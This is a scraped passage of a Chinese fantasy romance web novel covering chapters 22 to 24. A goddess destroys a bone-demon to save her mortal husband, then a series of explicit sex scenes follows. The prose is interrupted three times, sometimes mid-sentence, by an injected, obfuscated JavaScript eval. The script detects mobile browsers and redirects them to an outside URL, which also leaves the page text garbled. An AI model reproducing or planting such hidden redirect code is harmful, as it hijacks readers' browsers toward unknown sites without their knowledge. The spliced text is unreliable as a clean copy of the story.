骨女自打开智以来就没见过仙力如此醇正的神仙,想着她来头一定不小,这时候当然铆足了劲想要讨她欢心,毕竟对方身上有某种植物系的精魅极其喜欢的灵气,光是闻上一口,都能懒怠半月修行,更别提亲近了。 “以仙子绝无仅有的天赋,这位袁公子又这样尽心尽力的慷慨,如若再笑纳奴手上这颗金丹,修为何愁不能突飞猛进?” 苍白枯骨里躺着的那粒金色丹丸,从气息上判断,绝不是什么妖丹或者邪修炼化的丹药,而是非常纯真的、从道家炉鼎里用三味真火练出来的仙丹。 细看这下,竟莫名还有点眼熟,只是阿青一时半会儿实在想不起在哪见过。 骨女见阿青对自己说的东西感兴趣,简直恨不得当场给她剖心表忠。 “其实今日并非奴第一次同仙子照面,三百多年前,奴曾在一座月老庙附近蹭香火,结果某日庙中突逢大火,将一座香火鼎盛的姻缘庙烧了个一二干净,害奴刚刚化形的身子付之一炬,好不凄惨哩。” 想到三百多年前被自己烧掉的那座月老庙。 阿青沉默少顷,忽然笑着看向仍闭目不醒的袁颂:“所以,这就是他一直醒不过来的原因?” 骨女笑嘻嘻的目光落在袁颂左手大拇指的翠玉扳指上,颇有些得意地说:“这位公子有再厉害的护身法器又有什么用?多亏了仙子那把大火,让我同这件法器也算是同宗同源,它自然不会对我设防,要在幻境里做些手脚,困住他的魂识,再容易不过了。” 正所谓因业果报。 张陵受了月老所托,囚她服刑,却没想到,对方留给袁颂护身的法器,竟阴差阳错为这种妖物大开方便之门。 臭道士是个会薅她羊毛的,居然还用自己当年放的那把火炼了丹。 难怪她会觉得这粒丹药的气息熟悉。 阿青心里无语,脸上却摆出神仙的架势,思索须臾:“既知个中渊源,你怎知我一定会袖手旁观?” 骨女很不解地眨了一下眼睛:“仙子一看就是个清心寡欲的神仙,凡人皆有命数,这位袁公子迟早是要死的,你又何必好事多磨,硬来趟这浑水?” 阿青笑了:“你这是在教我做事?” 她说话时,脸上仍挂着那种漫不经心、什么也不在乎的笑,但偏偏眸光里的冷意,却是十足的嘲弄。 生而不凡的神仙习惯了高高在上,即使落魄下凡,看不起她们这样精怪妖物,也是意料之中。 而骨女却从她目空一切的态度里,直觉这很可能是个品阶极高的上神。 九重天界,佛道各据一半。 道家以真武大帝为首,座下十二金仙,各个都有开天辟地之能,前头十一位金仙在人间都有上千道场,唯有排最末的那位,她道听途说,也晓得是真武大帝爱惜小辈,不舍得历练磋磨人家,是以,未公开纳过信徒,再往下就是三十六真君和七十二地仙——但无论是哪一路的神仙,也足够让她羡慕。 骨女打量阿青良久,却仍摸不准她底细。 精怪修行,若不为得道成仙,也无非是为了超脱五行轮回,占山为王过安稳日子。 如非必要,骨女也绝不想着真去得罪神仙。 只是眼前这副凡人皮囊可望不可求,对方的大限之期于她而言,也恰到好处——她就算真占了这副壳子,也可以躲过十殿阎罗和天道耳目。 可到底还是弄不明白眼前这个神仙对这区区一个凡人是个什么态度,但她吓唬肯定是要吓的。 说到底,神仙清心寡欲久了,其实很多事情都看开了,对人对物都不会有太多执念。 绝不可能为一个徒有其表的凡人,破坏三界规则。 原因无他。 只因“不值得”三个字。 “命契在身,仙子的修为不如奴,更何况,林溪山是奴家道场,天时地利,仙子哪一个都不占优势,硬碰硬的话,几乎毫无胜算,当然,奴也不是非要得罪仙子不可,只是这位公子的寿数就剩三月光景,迟早都是要死的,早死晚死,无甚区别,仙子何苦来为难奴家?”她一边说,一边偷偷打量阿青态度,“更何况,这摆明了是桩一举多得的好事,既利奴修行,又助仙子解脱,一点坏处都挑不出哩。” “难不成仙子是瞧不上这粒金丹?” 骨女不信她会在意一个凡人生死,免不了挖空心思想推销手上这粒藏了几百年也舍不得吃的宝贝。 “有了这粒丹丸,至少可补五百年修为,仙子何至于要劳心劳力与一个凡人双修?捷径在此,仙子不如早日回了自己的仙府洞天,作甚要在人间受他人所制?” 好歹是吃了点神仙香火的精怪,一番劝说的话,动之以情晓之以理,头头是道的逻辑,听得路旁那几簇还化不了形的鬼哭草都激动得一个劲儿摇叶子。 “再者,”骨女循循劝诱时,望向阿青的目光,也忍不住露出一丝狂热的痴迷,“仙子要是真的很喜欢这副壳子,等奴适应了他,不照样可以陪仙子双修?” 阿青沉默良久,终于收回了落在袁颂身上的视线,放下了一直在手里把玩的萤火虫灯,笑着起身:“你说的也有道理。” 骨女没想到她会主动让步离开,简直喜不自胜,却意外见她不知因何止步于距离石桌两丈远的位置,于是就很自然地顺着她的视线,落向山林深处—— 天光熹微。 夜游的萤虫成群结队飞回暗河洞穴,莹莹翻飞的星点绿光像一条悬空发光的长河。 她想不明白,阿青堂堂一个神仙,会为了这些不起眼的萤虫驻足的原因。 队伍末梢有一只落单的萤火虫,也不知是认得她,还是单纯顽皮,摇摇晃晃地在她跟前飞个不停。 阿青伸出手,接它落在掌中。 萤虫尾部亮着一点幽幽的、脆弱的绿光,像是天一亮,这光就注定消散。 这样无足轻重的生灵,于天地间或生或死,都不会有别人在意。 骨女这时候也管不了旁的,她笃信了一言九鼎的神仙绝不可能在这种时候反悔,兴奋地扭着胯骨,一摇一摆地朝石桌的方向走过来,等凑近了仔细打量袁颂阖目沉睡的侧脸,免不了惊艳地感慨出声,也不知自己今年是撞了什么大运,居然能不费吹灰之力捡到这样一具宝贝。 “有了这副绝色皮囊,世间男女,何人不愿与我共赴极乐?何愁不能得道证仙?” 她今天存了心要袁颂的命,所以困住他魂识的幻境,除了强行打破结界外,压根没有别的办法——就算阿青真舍不得这副皮囊,以她目前的修为,也是救不了他的。 所以必然只能识时务地就此作罢。 骨女越想越得意,欲欲跃试地正要将手搭上袁颂的肩膀,突如其来的一道闪电却无声地划亮了黎明前漆黑的夜空。 “轰隆——” 漏下来的瓢泼大雨像是有人划开了天幕,将银河里源源不断的水往人间不要命地倒。 骤雨狂风,把农舍里的枯草瓦房都吹得摇摇欲坠。 阿越被雷声吵醒,支开窗户往山顶看:“娘,怎么今晚突然之间风雨这么大?白天看着也不像是要下雨的样子!” 睡在瓦屋里间的农妇披衣起身,忧心忡忡地往窗隙外看浓密的雨雾。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305740|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 雨夜里,远山飘渺,唯有时不时亮起的闪电,勉强让人看清山林。 农妇低低念了两句“阿弥陀佛”:“约摸是山神发怒了,别引到山洪就好了,怎都过了处暑,还有这么大的雨呢!哎呦,都忘了院子里的农具,阿越,快起来,把外头的东西收一收,别得给雨水泡坏了!” 阿越刚顶了件蓑衣走进院子里,就被小农院外的变化给惊呆了,花了半响才回过神:“娘!你来瞧瞧啊!院子里的枯枣树竟一夜之间发了芽,这雨怎么这么怪呢!天呐!就连你养在水缸里两年不开花的木莲,都结花苞了!” 林溪山顶。 暴雨还在下。 滂沱的雨雾浇不灭眼前熊熊燃烧的白色业火。 腾地而起火焰里,那副单薄的骷髅骨架却还在挣扎,凄凄厉厉地叫喊,连同地上那几簇鬼哭草也像是感同身受地着了业火焚身的痛苦,跟骨女一起嘶嚎:“仙子这是为何?明明说好的交易,怎地出尔反尔?” 阿青不置一词地折了梅枝,再度割开了皮肤,金色的血液就从尚未愈合的左腕伤口处渗了出来,滴滴答答地落在草地上。 原本匐地的野草像忽然之间被赋予了生命,开始争先恐后地抢那几滴被雨水稀释的仙人之血。 隔着一丈的距离,被困在业火里的骨女闻见这极其诱人的滂沱仙力,整张脸都陷入了贪婪的狂热中,想要挣出牢笼去吮她的血,却是忽地一下,白色的烈焰窜至半空,顷刻间,原本还在焰火里张牙舞爪的骨女,便被烧成了灰烬。 阿青的裙裾拂过骨女被烧成灰烬的残骸,注意到旁边的那几团鬼哭草抱在一起瑟瑟发抖,于呼啸而过的风雨声里嘤嘤呜呜。 对她这样从灵石化身出来的神仙而言,身体本身就是一件法器,但这件法器对她而言,又是不能损伤的根本。 只是不到万不得已的时候,没有一个物灵幻化的神仙舍得用这件法器。 她听着它们窃窃私语的议论觉得实在好笑,轻嗤道:“你们算什么东西,也配跟我谈交易?” 白色的业火遇雨不灭。 原本生机勃勃的红粉骷髅眨眼就成了枯草。 飞舞的萤火虫像一盏引路的蝇灯,轻飘飘地落在袁颂的肩膀上。 阿青弯下腰,伸手捧住袁颂的脸,再度认认真真打量他的五官。 一双漂亮的狐狸眼,即使闭着眼阖着目,也有欲语还休的殊色。 暴雨没有打湿他的面庞。 朦胧月影里,也能看清他投在下眼睑处睫毛的疏影。 她先前数过,一共有一百二十七根眼睫。 阿青盯着他纤浓的眼睫看了一会儿,伸出手,用食指轻轻抚了抚他唇角那粒痣。 然后她低下头,将自己的额头靠在他的额头上,从鼻腔里涌出的金色仙血已经滴在她羽衣的裙裾上,突然燃烧起来的羽衣像白鹤张开的巨大羽翼,将双额相抵的两个人包围在中心。 紧接着,第二层巨大的白色翅膀开始从她皮肤里长出来,坚硬的羽毛根柄如同破土的种子争先恐后地从她的血肉里钻出来,以她的血脉为温床,源源不断地生长、蔓延,直到丰厚的羽翼将两人彻底容纳、严严实实地包裹。 从泗水湖畔飞过来的萤火虫,如同一闪一闪的星星一样点缀在浓密的羽翼之中。 无人打搅的寂静山林。 春雨东风夜,千树放花,万物欣荣。 仙人身处羽化的结界内,轻轻呼出一口气。 阿青盯着袁颂纤浓的眼睫,在漫山遍野的金色血海里沉默良久,终于听见了自己的声音。 “袁颂,阎王要你三更死,我偏留你到五更。” 23. 023-赐婚 023 不得不说,撇开骨女这个意外,袁颂的方案在救太子这件事情上的可操作性极高。 加上他向来思虑周全,一套营救方案设计得天衣无缝。 更何况,比起佞臣乱朝,太子乃天命所归,少年忠臣振臂一呼,朝廷内外的有识之士,无一不想维护正统。 被灭了满门的忠勇侯府的小侯爷沦落在外,更是于起事当日,率了八百精兵,以一敌百杀入东宫救太子于危难。 一时之间,新帝登基,朝中官员换血的换血、清算的清算,折腾几个月,倒弄出一副难得的欣欣向荣、百废待兴的模样。 袁颂自幼与新帝交好,此番舍命谋划,当得上一个“忠义仁勇”,年纪轻轻,身居高位也是理所当然,连带袁家在朝中的声势也与日俱增。 阿青万万想不到,袁家这如日中天的架势居然有一天也能反哺她一个守护灵,灵池里的修为水涨船高,让她一个扣扣索索了几百年的穷神仙乍然暴富,相当莫名其妙、无所适从——她要是在双修上加把劲,不说回家了,就算把下界这三百年的修为全补回来,也绰绰有余。 她起初觉得很不对劲,但后来细细一想,又觉得在命契之下,这种的变化也极为合理。 毕竟命契两端是一损俱损的关系,灵气也理当由高位往低位流。 她先前的灵气强于袁家的运势,自然是由她的灵脉滋养偌大袁氏,然而眼下,袁家在袁颂的执掌里,在朝野纷轧中站对了位置,彻底将“世族豪门”这四个字发扬光大。 林溪山一役,的确是很折腾她筋骨,但阴差阳错,她却和袁颂互相成就,有这样的结果,也算是因祸得福。 只能说,天道好轮回,做好人行善事,总不至于太倒霉。 中秋一过,眨眼便入了秋。 阿青开始困得坐不住。 她的本体是半人半蛇的女娲后裔,临近冬天,难免感染一点蛇的秉性,忍不住就想要冬眠。 光一个白天就能打上好几次盹,就更没心思去关心袁颂这段时间到底在忙什么,只是想到袁颂生死簿上的那个时间,又莫名有点惴惴不安——也就是这几天的事情,也就是这个月底。 只可惜袁颂忙得平日里见不到人影,就连休沐日也见不着人,通常是半夜了两个人才有些许负距离的交集。 阿青睡得迷迷糊糊的时候,能感受到身侧有人拱着冷意上了床,抱了她没一会儿,被窝里就热乎乎得人头脑发晕,她困得要死,昏昏沉沉里,莫名其妙又跟他双修起来。 这种时候通常也顾不上别的了。 以往她总习惯让羽衣待在自己的视野范围之内,但直觉又告诉她,袁颂并不会拿走她的衣服乱来,久而久之,就也干脆听之任之,习惯了闭起眼睛享受。 越是困倦的时候,身体其余的感官就越是敏锐。 触手的皮肤光滑,压在胸口的肌肉也足够紧实,薄肌上覆着一层津津的汗,却不让她讨厌。 腰身绷紧的肌理每一寸都结实得很有力量感,像是不管她怎么用,都不知疲倦。 膝盖被折到肩膀,身体几乎已一种全然放开的状态在迎合他。 潮热的黑暗中,阿青摸到前几日抓在他背上的伤痕,结着淡淡的痂。 走神的时候,唇角被亲了亲,袁颂身上有股很好闻的绿茶冷竹香,轻轻哼着感受着她手指划过的痕迹,温柔地问她在想什么。 凡人受伤,总归是要疼的,却不知道为什么她抓伤袁颂的时候,他每次都很高兴。 阿青迟疑地问出心中困惑,袁颂却搂住她说很喜欢。 “为何?” 长公子的思维方式总是让她一个神仙百思不得其解。 《水经注》里的书生遇见一个喜欢用鞭子打他的公主,也跟对方处得不亦乐乎。 她当然不是那个喜欢抽人鞭子的公主,但这时候也不敢确定袁颂到底是不是那个天赋异禀的书生。 “与有情人做快乐事,当然心生欢喜。” 阿青感受着袁颂的亲吻落在她眉眼,不明白他话里的意思。 双修固然是快乐事。 但她可不是什么有情人。 袁颂那么聪明的一个脑子,怎么可以对她这个神仙有这样肤浅的判断。 只是袁颂今夜显然过于兴奋,弄到她后半程累得没心思跟他解释,干脆就随他去了。 春宵苦短,两人每日能腻歪的也不过就几个时辰,等阿青睡到中午醒过来,身侧床榻早就空空如也,独留一地凌乱的羽衣,昭示一夜的旖旎。 新帝登基后,不单袁颂忙,整个袁府也忙得连轴转。 络绎不绝的访客快要踏破袁府的门槛,连带袁颂他爹日日捻着胡须,也对独子的作为欣慰非常。 袁在望偶尔消食时绕到祠堂,又免不了对儿子年纪轻轻就官拜宰相一事偷偷自喜,当着列祖列宗的面,把儿子夸得天上有地下无,阿青被吵得心烦,又不方便现身骂人,只能等袁颂回家,小嘴叭叭地跟人诉苦告状。 袁颂忍俊不禁:“我爹都夸我什么?” 阿青下午被吵醒的起床气还在,声音闷闷的:“来来回回无非就那几句。” 袁颂又笑:“哪几句?他素来对我严厉,我从未听他在言语上对我做过什么肯定。” 阿青:“当然是夸你才貌双全、足智多谋、英俊潇洒、克己复礼、万中无一,是整个大邑朝前无古人后无来者第一忠臣,有朝一日必定名垂青史、流芳百世,是整个上京城所有待嫁少女的闺中春梦,民间票选一等一的东床贵婿,真正的一人之下万人之上,谁结交了你,祖上都要烧三柱高香。” 袁颂抿着唇忍住笑,搂着怀里的少女,一边用鼻子亲昵地蹭她,一边轻轻地咬她耳朵:“那你觉得呢?” 阿青:“觉得什么?” 袁颂:“觉得我爹说的,有没有道理?” 袁颂升任宰相,偌大袁氏也渐渐由他掌家。 最近几个月他专程差人将祠堂附近的小禅房进行二次扩建,另辟了好大一块区域,弄成了一个单独的院落,栽上成片的绿竹和腊梅,平日里也就是个打扫的仆从定时定点出现,美食好酒却能不间断供应,让阿青独自一个神仙也住得相当自在,无需担心化形被别人打扰。 暖池里的水泡得她通体舒泰,曲水流觞的岸边放着不醉人的梅子酒。 阿青放下手里的酒盏,狐疑地侧眸看了他一眼,对上袁颂含笑的眼角眉梢里那一点微不可查的试探。 她想了想,中肯道:“还成吧。” 袁颂显然是对这个答案不满意:“还成是什么意思?” 阿青为难地皱起眉,挖空心思想了半天袁颂身上的优点,猛然反应过来,从他的怀里挣起身:“袁颂,你是不是拐着弯想听我夸你?” 袁颂支肘抵在温泉的石沿,歪着脑袋懒洋洋地冲她笑,却没否认,有些期待道:“那你也可以不拐弯夸我,可以当着我的面,直接夸我。” 暖池里水汽氤氲,蒸得他一双桃花眼泛着点迷离的红润。 微垂的视线落在阿青隐没于水下的胸口。 他喉结轻滚,眉眼弯起来的时候,微微泛红的脸颊,似有醉意。 只是少年权臣,举手投足里自带一份从容恣意,不至于急色至此。 更何况,经过一段时间的官场历练,习惯了旁人的仰视,总会让阿青觉得他身上好像有些东西跟以前不一样了,如果真要找出一个词来形容,那翻遍古典,挑出来最合适的,应当是“成熟”。 以前的袁颂,有种为赋新词强说愁的少年老成,而此刻的袁颂,像是真的有翻手为云覆手为雨的能力。 阿青:“我既不是你爹,又不是你的小皇帝,更不是你的同僚,听我夸你有什么意思?” 袁颂似笑非笑的目光仍一瞬不瞬地落在她身上,从她滴着水的下巴,移到她干净的锁骨,再往下,呼吸就有点重了。 “他们夸我的,我才不爱听,也很没意思,但我爱听你说的。” 黏黏糯糯拉着丝的无赖语气,也不知是在跟她撒娇还是蛊着她听话。 阿青其实想不出袁颂身上有什么优点,毕竟凡间的评价标准,对她一个神仙而言,太无足轻重。 但如果硬要挑好处,她也只能说他是一个很讨神仙喜欢的妙人,若放眼整个凡间,她也只乐意挑他同自己双修,只是这种评价怎么听都很主观随意,丝毫没有半分说服力,听起来甚至相当敷衍。 见阿青愣愣地抿住唇,袁颂微微敛下笑意,却依旧用那种漫不经心的调笑语调,像是在逗她,又像是在给他自己台阶下:“你既叫我一声夫君,那作为你的夫君,总该有点可取之处吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305741|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿青:“当初是玩笑话,不是都跟你说了么?” 袁颂对她的反驳置若罔闻,只笑着水下拉住她的手,很自然地就按在了身下。 阿青:“……” 如果壮观也算可取之处的话。 那袁颂的确很可取,相当可取。 只是鉴于这段时间有袁家气运的反哺,灵气水涨船高的阿青对双修这种事,也没之前那么热衷了,主要也是因为袁颂过于白给,搞得她每天早上醒来,都有点头晕眼花,过犹不及。 坦白说,她严重怀疑袁颂在这方面是不是有点不可告人的瘾头,净逮着她薅羊毛。 泡温泉之前,不是明明已经吃过一顿大鱼大肉了,怎么还来呢? 见阿青面露难色,袁颂也不强求,牵了她的手按在自己胸口,顺势就把人捞进了怀里:“月底就是东山狩猎,结束后我有三日休沐,恰好是花朝节,要是你愿意叫我声哥哥,我就带你出去玩,怎么样?” 阿青嘴巴严得很,才不干这种亏本买卖。 当初不明不白做了他表妹,已经足够让她在小本本上记仇,她堂堂一个两千岁的神仙,怎么可能自降辈分,叫一个二十岁不到的凡人做哥哥? 他受得起么? 眼见阿青脸上露出了一种很玩味的揶揄,袁颂心里顷刻就明白了大半,干脆扭开头,闭了眼,不见为净。 一时之间,情绪涌到喉头,全是郁堵的酸涩。 明明告诉过自己来日方长。 但阿青的无动于衷像是一道他怎么努力也越不过去的高墙。 袁颂听着身侧“哗啦啦”的水声,心中五味杂陈,闷闷地说:“不叫就不叫吧,反正你不叫我哥哥,以后就轮到别人叫我哥哥了。” 阿青系衣带的手一顿,回过头看他,一脸莫名:“他们爱叫你哥哥是他们的事,跟我有什么关系?” 袁颂恨恨地扭过脸,微微上挑的狐狸眼眼尾压着一寸红,盛了琉璃光的琥珀色瞳孔里带了点怒意,一瞬不瞬地盯着她的脸:“陛下要给我赐婚了。” 袁颂拽着她的衣袖,从暖池里站起身,正好与半跪着的她平视。 如缎一样的乌发发尾飘在水面上,像一朵迤逦的睡莲,男人的目光牢牢锁着她,不死心地要从她脸上找到哪怕一丝破绽。 短暂的忪怔后,阿青一脸欣然的意外:“你们皇帝给你赐婚,不是件好事么?” 真是搞不明白,袁颂的脸色为什么这么黑。 天庭蟠桃会演的那些戏文里,娶妻的状元郎,哪一个不喜上眉梢? 偏偏袁颂一副她欠钱不还的样子。 袁颂盯了她良久,忽然自嘲地扯了一下唇,很轻地问她:“你真这么想?” “那不然呢?”阿青想到戏文里那些很热闹的结婚场面就跃跃欲试,一下子兴奋得连羽衣都顾不上穿好,“要不然我先提前替你熟悉熟悉你未来的夫人,看看你到底喜欢哪个类型,对哪个类型的姑娘最有感觉,这样向你们皇帝求婚的时候,也好有的放矢。” 她现在灵力滂沱,随随便便开个天眼窥探人间,根本不在话下。 替袁颂翻翻检检朝中那些适婚的妙龄少女更是信手拈来。 “这是大理寺张大人的独生女。” 阿青忽然变出一张脸。 “这是户部侍郎王家的大小姐。” 再变一张脸,连身体也跟着丰腴,淡青色的羽衣也变成花样繁复的宫装。 感觉到胸口很沉,阿青拉开松松垮垮的衣领,低头一看锁骨以下,倒抽一口凉气,对着袁颂发出了没见过世面的感慨:“天呐,这居然是兵部尚书的陈二小姐,怎么样,是不是很有料?” 从愤愤不满到错愕忪怔也不过转瞬,袁颂全程未置一词,只定定地、像个木偶一样望向她,柔白的月色落进他的眼眸,像碎掉的雪光。 不知道是不是她的错觉,影影约约里,她竟然看到袁颂的眼里腾起了一层很薄很薄的雾气。 他失神了很久,隔了半响,才失意地轻笑了声,说:“阿青,我想要你的脸,你自己的脸。” 阿青愣了愣,忽地就笑了,冲他竖了根赞许的大拇指,夸道:“有眼光。” 却是话音刚落,伸出的那只手就被他用力攥住了腕骨。 她还来不及反应,整个人就被袁颂咬牙切齿地拖进了暖池里。 24. 024-法身 024 不像之前在暗河底下的那种温柔细腻、珍之重之的亲吻。 袁颂此刻落在她唇上的力道连亲带咬,吮得阿青痛到直躲,好不容易扭开了脸,又被他强行掐住后颈给拖了回去。 落在她身上强行作恶的手指,轻而易举地就陷进了她身体里,几乎都没给她挣扎的时间,顷刻就熟练地搅得阿青开始不自觉地夹了腿。 贴在她身上的羽衣湿漉漉的,薄而透的衣料下,是少女欲盖弥彰的侧影。 瓷白的皮肤上映出她开始逐渐泛粉的裙裾底色。 袁颂眸光微暗,干脆咬着她的肩膀,径自将她按在了自己身下。 暖池里的水在剧烈的翻动里不断外泼到石台上,打翻了薄脆的白瓷酒盏,叮叮当当的碎瓷声,在嘤咽湿润的亲吻里也显得微不足道。 阿青以前总是觉得,亲亲就是双修的致胜之宝,还是头一次觉得,亲亲这种事情,也像是两个人在打嘴仗,你争我夺,就比谁的气势先弱场。 但她实在不明白袁颂这火气到底从何而来。 只是双修这种事情,本来讲的就是一个你情我愿。 她先前灵气亏空的时候,那么想跟他“来日方长”,但他不乐意,她也从不强求。 凭什么袁颂能在她不乐意的时候,强行扭着她的手,对她酱酱酿酿? 这么一想,阿青就不开心了。 亏她刚才还在替他的婚事出谋划策,怎么袁颂这人,做了宰相,就开始恩将仇报了? 她堂堂一个神仙,哪有给凡人这样拿捏的道理? 阿青心里有气,压根不打算任他在自己身上胡作非为。 袁颂强硬地将她压在暖池的边缘,深浓曈色注视了她没一会儿,呼吸就变得又重又急,手指甫一退开,手背的骨线就随着张开的手指绷紧,用力握住了她的腿。 掌控力十足的手掌,即使在翻腾的水浪里,也能看见他手背凸起的青//筋。 少女奶糕一样白的腿肉,就从他张开的五指缝里被挤出来。 想抬起她的身体让她像往常一样迎合自己,然而蓄势待发的袁颂并没有在水下如愿陷入温柔乡,而是轻轻擦过某种触感微凉的、纤薄的、甚至有些许坚硬的…… 鳞片。 他在片刻的不解之后,如梦初醒般“嚯”地一下侧目递到暖池另一头。 翻腾的水下不见蛇尾的全貌。 袁颂却在阿青的脸上找到了一点有恃无恐的挑衅,仿佛是笃定了他拿这个状态的自己没办法。 “袁颂,”阿青抱着胳膊端起神仙架势的时候,有种高高在上的骄矜,评价道,“你太放肆了。” 其实袁颂的所作所为,她作为一个神仙是压根也不生气的,反正她多了是办法摆脱他。 那么多仙法,她不信他能伤得了她。 只是凡人绝不能仗着自己力气大,就冒出以下犯上的念头,这样她就得敲打敲打了。 人形蛇尾是她的法身,是真神宝相,方圆百里的精魅妖邪,见了她的法身,哪一个敢不俯首叩拜? 袁颂冷着一双眼,无视她故意露出水面的那一段墨绿色的蛇尾,像是根本无惧于她的威慑,好笑地轻哼了声,问:“怎么样的算放肆?” 法身形态的阿青,比她人形时似乎要更白皙,也更柔软易损,仿佛是藏于暗匣的珠玉,从未受过日晒雨淋,周身散发的淡淡华光,弥散出一股很圣洁的仙气,令人不敢逼视、不忍亵渎。 阿青骄矜地抬着下巴,正想说他刚才的所作所为都够在“放肆”二字上加粗大写,忽然感受到水下慢慢顶上来的东西,不能置信地盯着袁颂,一肚子拿捏他的话也卡住了壳。 袁颂单手环住她的腰,另一只手抚上她腰下的蛇鳞,似笑非笑地问:“这样?” 感受着他指尖流连过的位置,阿青本能地闭起眼睛抖了一下。 法身存在的意义在于修炼。 但神仙一般很少拿法身外现的主要原因,还是因为法身比起肉身来说,更脆弱,换言之,也更敏//感。 更易于吸收天地精华的躯体,是经不起太磨人的折腾的。 “还是……这样?” 袁颂环在她腰上的手臂越收越紧,呼吸声也跟着再次变重,颈项的青筋绷起,在水下的剐蹭却仍不疾不徐,跟她的蛇鳞厮磨。 阿青:“……” 一个人当了宰相,就可以这样为所欲为吗? 连她的法身都不放过,他还是人吗?! 阿青气得憋了一肚子的脏话,可脑子却晕得不知道该拣哪个骂,蛇尾上传来的愉悦触感短暂地占领了她的理智高地,直到微微张开的鳞片刮过顶端—— 忽然沉默下来的袁颂将脸抵在她肩窝上平复心跳,阿青一个人目瞪口呆地看着水下自己若隐若现的尾巴,一时之间如遭雷击。 ——她干了什么啊! ——他连这样都行?! 她活了两千岁,还是头一次大着胆子拿法身吓唬人—— 没想到! 没想到! 万万! 没想到!! 阿青生无可恋。 阿青无话可说。 用力推开袁颂的时候,还不忘恶狠狠地瞪了他一眼,她一声不吭地抱起自己的尾巴就朝暖池的另一头游过去。 越看越生气。 他方才弄出来的有点多,黏黏糊糊地沾在鳞片跟鳞片的缝隙里。 不动欲时的蛇鳞不易打开,让缝隙里头的东西更难清洗。 她倒是想施个净身的法咒一劳永逸,但法身之所以叫法身,就是因为这副形态,它压根油盐不进。 阿青无语地拿过丝瓜囊,黑着一张恨不得跟人同归于尽的脸,像刷鞋一样开始刷自己的尾巴。 堂堂法身被一个凡人弄成这样脏。 要是让别的神仙知道了,能笑话她几千年。 然而到底是没干过这种劳心劳力的粗重活,阿青不得要领地刷了没一会儿,就心累得不想动了。 反倒是袁颂看不下去,一脸神清气爽地过来帮忙。 阿青任由他接过自己手里的丝瓜囊,心里有气,干脆摆出神仙的架势,骄矜地扬起下巴,闭上眼不看他。 今晚明晚后晚大后晚,等他结束了东山狩猎,直到她飞升回家的那一刻! 她都不要再跟他说一句话了! 袁颂看着她闭着眼气势汹汹地冲他仰着脸索吻,琢磨出阿青应当是想给他台阶下。 两人闹了一晚上,他当然不可能让她带着别扭入眠,本来就是要道歉的,只是没想到她会先做低头的那一个。 难得见这没心没肺的神仙主动到这份上,当然不能打压她的积极性。 先前被她变的那些乱七八糟世家小姐的脸所笼在心头的烦郁一扫而空。 袁颂却之不恭,掰过她的下巴又是一顿亲。 还在气头上的阿青差点被他亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305742|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晕,搞不明白袁颂哪来的脸,亵//渎了她的法身,还敢这样蹬鼻子上脸地放肆。 超凶超凶地睁开眼,想拿目光刀他,却发现袁颂闭着眼亲她亲得很投入。 阿青无语至极,心里又实在气不过,自觉牙齿锋利,仰了下巴就去咬他。 袁颂的下唇被她磕了一下,终于反应过来,敏锐地看出她还在别扭,然而他现在已经彻底气消,干脆一不做二不休,想要逗她。 阿青咬得狠,袁颂却躲得快。 一来一回数次,阿青上下牙齿都撞痛了,可袁颂却要笑不笑地抿着唇,毫发无损。 阿青都想不明白这人是怎么预判她进攻的方向的,气恼地垂头时,看着身侧荡漾的水波走向,一下子就明白了大半。 懊恼的时候,嘴唇又被袁颂轻轻碰了一下。 她反应过来,不依不挠地循着他的唇瓣去咬他。 如此又反复几次,阿青知道这人狡猾,咬牙切齿地瞪了他一眼,也不管长长的蛇尾会不会吓到他了,气呼呼地拖着湿漉漉的衣服爬上了岸。 大半条蛇尾还挂在水里,衣袖却被人扯住。 阿青气鼓鼓地回头,用一脸“你最好有正事”的表情警告袁颂不要乱来。 “变都变了,我们不如……” 不如什么不如? 话讲一半让她猜,她这回偏不猜了! 袁颂一双漂亮的狐狸眼,认认真真看着她的时候,眼底蕴着一层华光,穿云打雾的明亮。 “刚才不知道入口在哪里,只能胡乱蹭蹭。” “……” “你指给我。” “……” “我们不如也试试?” “……” 阿青呼吸都窒住了,觉得袁颂这人实在是—— 胆大包天。 袁颂从水下站起身,晶莹剔透的水珠从他胸口滚下腹//肌。 阿青看了一眼,就有些心猿意马地错开目光,注意到他抓着她衣袖的手指关节,也是粉的。 袁颂真是只绝无仅有的鸭子,很懂得如何推销自己,在引诱神仙犯戒这条路上简直走出了康庄大道。 阿青很难具体形容神交的感觉。 法身的感官比她的人形要更强烈数倍,不断累加的欢愉难以估量。 袁颂的汗滴在她下巴和锁骨上。 